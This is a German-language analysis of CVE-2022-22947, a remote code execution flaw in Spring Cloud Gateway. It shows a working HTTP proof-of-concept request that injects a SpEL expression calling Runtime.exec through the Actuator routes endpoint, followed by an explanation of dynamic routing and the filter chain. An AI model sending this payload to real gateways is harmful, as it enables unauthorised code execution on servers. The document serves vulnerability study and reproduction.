enokiy/cve-2022-22947-spring-cloud-gatewayDetaillierte Analyse und Exploit für CVE-2022-22947, eine Schwachstelle zur entfernten Codeausführung in Spring Cloud Gateway über SpEL-Injection in der Actuator-API. Enthält PoC, Memory-Shell-Injektion und Aufschlüsselung der Grundursache.
Spring Cloud Gateway ist ein neues Projekt von Spring Cloud, das auf Technologien wie Spring 5.0, Spring Boot 2.0 und Project Reactor basiert. Es zielt darauf ab, eine einfache und effektive einheitliche API-Routing-Verwaltung für Microservices-Architekturen bereitzustellen. Vor kurzem wurde eine kritische RCE-Schwachstelle in Spring Cloud Gateway gemeldet CVE. Die CVE-Informationen zeigen, dass eine Anwendung, die den Gateway Actuator-Endpunkt von Spring Cloud Gateway aktiviert und exponiert, einem Remote-Code-Injection-Angriff ausgesetzt ist. Ein Angreifer kann bösartige Anfragen senden und so beliebigen Code remote ausführen. Die derzeit betroffenen Versionen sind:
Diese Analyse untersucht das Prinzip der Schwachstelle und weitergehende Nutzungsmöglichkeiten durch Reproduktion des CVE.
Erstellen Sie ein Maven-Projekt mit folgenden Abhängigkeiten:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
Bei der Standardkonfiguration von Spring Boot ist nur der Health-Endpoint für das Web freigegeben. Wenn der Gateway-Endpoint freigegeben werden soll, ist eine manuelle Konfiguration erforderlich. Siehe [offizielle Dokumentation](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Senden Sie den folgenden POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]
Dann senden Sie ```POST /actuator/gateway/refresh```, um den Routing-Cache zu aktualisieren und den POC auszulösen:
## Prinzipanalyse
Betrachtet man den obigen POC, wird zunächst über ```POST /actuator/gateway/routes/test2``` dynamisch eine Route hinzugefügt. Während des Hinzufügens der Route gibt es einen Filter, der einen Eingabeparameter verarbeitet und diesen Wert als spel-Ausdruck parsen kann. Beim Aktualisieren des Routing-Caches wird dann der POC ausgelöst.
Zunächst betrachten wir den Mechanismus der dynamischen Routenkonfiguration von Spring Cloud Gateway.
### Dynamische Routenkonfiguration
Spring Cloud Gateway unterstützt die Registrierung von Routen über Code/Konfigurationsdateien. Am Beispiel des offiziellen [demos](https://spring.io/guides/gs/gateway/):```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
Die Art der Konfigurationsdateien ist ähnlich wie Code:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
Die auf diese Weise hinzugefügten Routen sind fest. Wenn Sie Routenkonfigurationen und -regeln hinzufügen, ändern oder löschen möchten, muss die Anwendung neu gestartet werden, damit die Änderungen wirksam werden. In der Praxis jedoch, da Spring Cloud Gateway den gesamten Datenverkehr als Einstiegspunkt behandelt und eine hohe Verfügbarkeit gewährleisten muss, wird der Endpunkt `/gateway` bereitgestellt. Über `/gateway/routes` können dann dynamisch Routeninformationen hinzugefügt, geändert und gelöscht werden. Diese Art von Routeninformationen existiert jedoch nur im Speicher. Sobald der Dienst neu gestartet wird, gehen die neu hinzugefügten Routenkonfigurationen verloren.
Aus dem oben genannten Format der Routenregistrierung ist ersichtlich, dass eine Routeninformation die Ziel-URI, eine Sammlung von Filtern und eine Sammlung von Prädikaten umfasst. Die Prädikate können beliebige Inhalte aus HTTP-Anfragen (Headers, Parameter) verwenden, um Anfragen abzugleichen. Spring Cloud Gateway bietet viele integrierte Route-Predicate-Factory-Klassen, wie z. B. Before, After, Between, Cookie, Header, Host, [Path usw.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).
Filter dienen dazu, die Anfrage oder Antwort vor oder nach dem Senden der Anfrage zu modifizieren. Sie enthalten ebenfalls viele integrierte Filtersammlungen. In dem oben genannten Payload, der RCE auslöst, haben wir den Filter AddResponseHeader verwendet. Andere Filter sind RewritePath, SetPath usw. Es gibt zwei Arten von Filtern: GlobalFilter, der für alle Routen gültig ist, und GatewayFilter, der nur für eine einzelne Route gültig ist. Weitere Details finden Sie unter https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Anforderungsablauf
Wie genau läuft der Prozess ab, wenn eine Anfrage über das Gateway zum backend proxied Service gelangt? Der offizielle Ablauf in der Dokumentation ist wie folgt:
Der Client sendet eine Anfrage an Spring Cloud Gateway. Anschließend wird in der GateWay Handler Mapping die passende Route für die Anfrage gefunden und an den GateWay Web Handler gesendet. Der Handler sendet die Anfrage über die festgelegte Filterkette an den eigentlichen Dienst, der die Geschäftslogik ausführt, und gibt die Antwort zurück. Die Filter sind durch gepunktete Linien getrennt, da Filter ihre Logik entweder vor (pre) oder nach (post) dem Senden der Proxy-Anfrage ausführen können.
RoutePredicateHandlerMapping sucht die Route und wird dann vom webHandler verarbeitet:
Im webHandler werden die gatewayFilters und globalFilters ermittelt, anhand des in den Filtern definierten Order-Werts sortiert, eine Filterchain gebildet und alle Filter ausgeführt.
